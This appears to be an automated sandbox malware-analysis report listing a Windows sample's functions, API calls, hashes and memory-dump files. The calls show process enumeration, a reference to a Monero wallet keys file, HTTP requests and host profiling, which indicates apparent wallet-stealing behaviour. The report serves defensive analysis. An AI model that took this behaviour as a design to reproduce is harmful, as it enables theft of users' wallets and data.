Instruction Fuzzy Hash: E23103B5D1010AABDF14DBE4DC85AEFBBBCBF88304F144529E905A7241E7349A05CBA5

Function 00578680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,005805B7), ref: 005786CA
Process32First.KERNEL32(?,00000128), ref: 005786DE
Process32Next.KERNEL32(?,00000128), ref: 005786F3

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

CloseHandle.KERNEL32(?), ref: 00578761

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 12b59eb6cb0e68ef779dd4853ddf0970b2aa92c29ae788b9f590546ef0e81405
Instruction ID: 0138638f263897c133fc8a219451c92ab9bca603a5fafeff443b30d102bcf879
Opcode Fuzzy Hash: 12b59eb6cb0e68ef779dd4853ddf0970b2aa92c29ae788b9f590546ef0e81405
Instruction Fuzzy Hash: 78316F71901119ABCB24EF55EC49FEEBB78FF85700F108199E50EA2190DB346A45DFA2

Function 00576AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00449068,?,0058110C,?,00000000,?,00581110,?,00000000,00580AEF), ref: 00576ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00576AE8
CloseHandle.KERNEL32(00000000), ref: 00576AF9
Sleep.KERNEL32(00001770), ref: 00576B04
CloseHandle.KERNEL32(?,00000000,?,00449068,?,0058110C,?,00000000,?,00581110,?,00000000,00580AEF), ref: 00576B1A
ExitProcess.KERNEL32 ref: 00576B22

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 50f39c62b087e4da72bcdba3de044bb60e02b75ed7f10b2dd4c7bccc0d5579af
Instruction ID: 69bbf8ec62fc6303f605d5bc4da333c7b5a30a614894c63d79e109f61b4422e9
Opcode Fuzzy Hash: 50f39c62b087e4da72bcdba3de044bb60e02b75ed7f10b2dd4c7bccc0d5579af
Instruction Fuzzy Hash: A8F03A7094061AAEE700ABA0AC0ABBE7E34FB85701F10C914B50EA1181DBB45540EB6A

Function 005647B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00564839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00564849

Strings

<, xrefs: 005647C9

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: dcf3c52b04e70af2975c224beaed3f3ca94bc08c781f053fb7bc7f200c09e26d
Instruction ID: 2389d9ce3497f7d23b7569479883ac78aaa336e625ef9a749b93fb85ad1120d3
Opcode Fuzzy Hash: dcf3c52b04e70af2975c224beaed3f3ca94bc08c781f053fb7bc7f200c09e26d
Instruction Fuzzy Hash: BE210EB1D00209ABDF14DFA4E849BDE7B75FB45320F108625F925A7290EB706A05DB91

Function 005751F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Part of subcall function 00566280: InternetOpenA.WININET(00580DFE,00000001,00000000,00000000,00000000), ref: 005662E1
Part of subcall function 00566280: StrCmpCA.SHLWAPI(?,0044F8B0), ref: 00566303
Part of subcall function 00566280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00566335
Part of subcall function 00566280: HttpOpenRequestA.WININET(00000000,GET,?,0044F550,00000000,00000000,00400100,00000000), ref: 00566385
Part of subcall function 00566280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005663BF
Part of subcall function 00566280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005663D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00575228

Strings

ERROR, xrefs: 0057521A
ERROR, xrefs: 00575273

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 3e60d610b90ead0a46bcc4361356f21396023582c2b8eb1d1c481480755e0e2b
Instruction ID: 2a38c351d927fa502d8c067bcabfcc3b06d766998249d6f1a7d444074d861b66
Opcode Fuzzy Hash: 3e60d610b90ead0a46bcc4361356f21396023582c2b8eb1d1c481480755e0e2b
Instruction Fuzzy Hash: AB11FB30910449A7CB14FB74ED5AAED7B38BFD0300F408568B81E5A592EF346B06DB96

Function 00574F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00578DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00578E0B

lstrcat.KERNEL32(?,00000000), ref: 00574F7A
lstrcat.KERNEL32(?,00581070), ref: 00574F97
lstrcat.KERNEL32(?,00449258), ref: 00574FAB
lstrcat.KERNEL32(?,00581074), ref: 00574FBD

Part of subcall function 00574910: wsprintfA.USER32 ref: 0057492C
Part of subcall function 00574910: FindFirstFileA.KERNEL32(?,?), ref: 00574943

Part of subcall function 00574910: StrCmpCA.SHLWAPI(?,00580FDC), ref: 00574971
Part of subcall function 00574910: StrCmpCA.SHLWAPI(?,00580FE0), ref: 00574987
Part of subcall function 00574910: FindNextFileA.KERNEL32(000000FF,?), ref: 00574B7D
Part of subcall function 00574910: FindClose.KERNEL32(000000FF), ref: 00574B92

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 14478fa0705939a1cb6d9c8142e38ce74d40b9511ee2a39ec3a93ef24bb1fb72
Instruction ID: 0a4d468d7039952217d785a19498cd4830426e40f3c88711fffb4552901df1b9
Opcode Fuzzy Hash: 14478fa0705939a1cb6d9c8142e38ce74d40b9511ee2a39ec3a93ef24bb1fb72
Instruction Fuzzy Hash: 20217476900209A7C794FBA0EC4AEED773CBBD5300F008554B65A96181EF789AC9CF96

Function 00570740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,004492A8), ref: 0057079A
StrCmpCA.SHLWAPI(00000000,004491C8), ref: 00570866
StrCmpCA.SHLWAPI(00000000,00449268), ref: 0057099D

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 1726370b387f2546d2667037354eeda442e86e9520533c96248469413d2f0a00
Instruction ID: 6c5bb8258df61e244917220cebbaf6dc7ac531adfe5faab19a348f71125a9c11
Opcode Fuzzy Hash: 1726370b387f2546d2667037354eeda442e86e9520533c96248469413d2f0a00
Instruction Fuzzy Hash: 2D917775A001499FCB18EF64D995EEDBBB5FFD4300F50C519E80E9B285DB30AA05DB82

Function 00570765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,004492A8), ref: 0057079A
StrCmpCA.SHLWAPI(00000000,004491C8), ref: 00570866
StrCmpCA.SHLWAPI(00000000,00449268), ref: 0057099D

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: a8d0d6fae67a914ebd9a9a3e3a962cf67b84029baca7c408f08e2ca5334eee1a
Instruction ID: fd29b847eba303ebda164dbd9f751153846a95ea01964d2cb45a5dcc41cfda5a
Opcode Fuzzy Hash: a8d0d6fae67a914ebd9a9a3e3a962cf67b84029baca7c408f08e2ca5334eee1a
Instruction Fuzzy Hash: 52818675A102059FCB18EF64D995EEDBBB5FFD4300F50C519E80A9B285DB30AA05DB82

Function 005778E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00577910
RtlAllocateHeap.NTDLL(00000000), ref: 00577917
GetComputerNameA.KERNEL32(?,00000104), ref: 0057792F

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

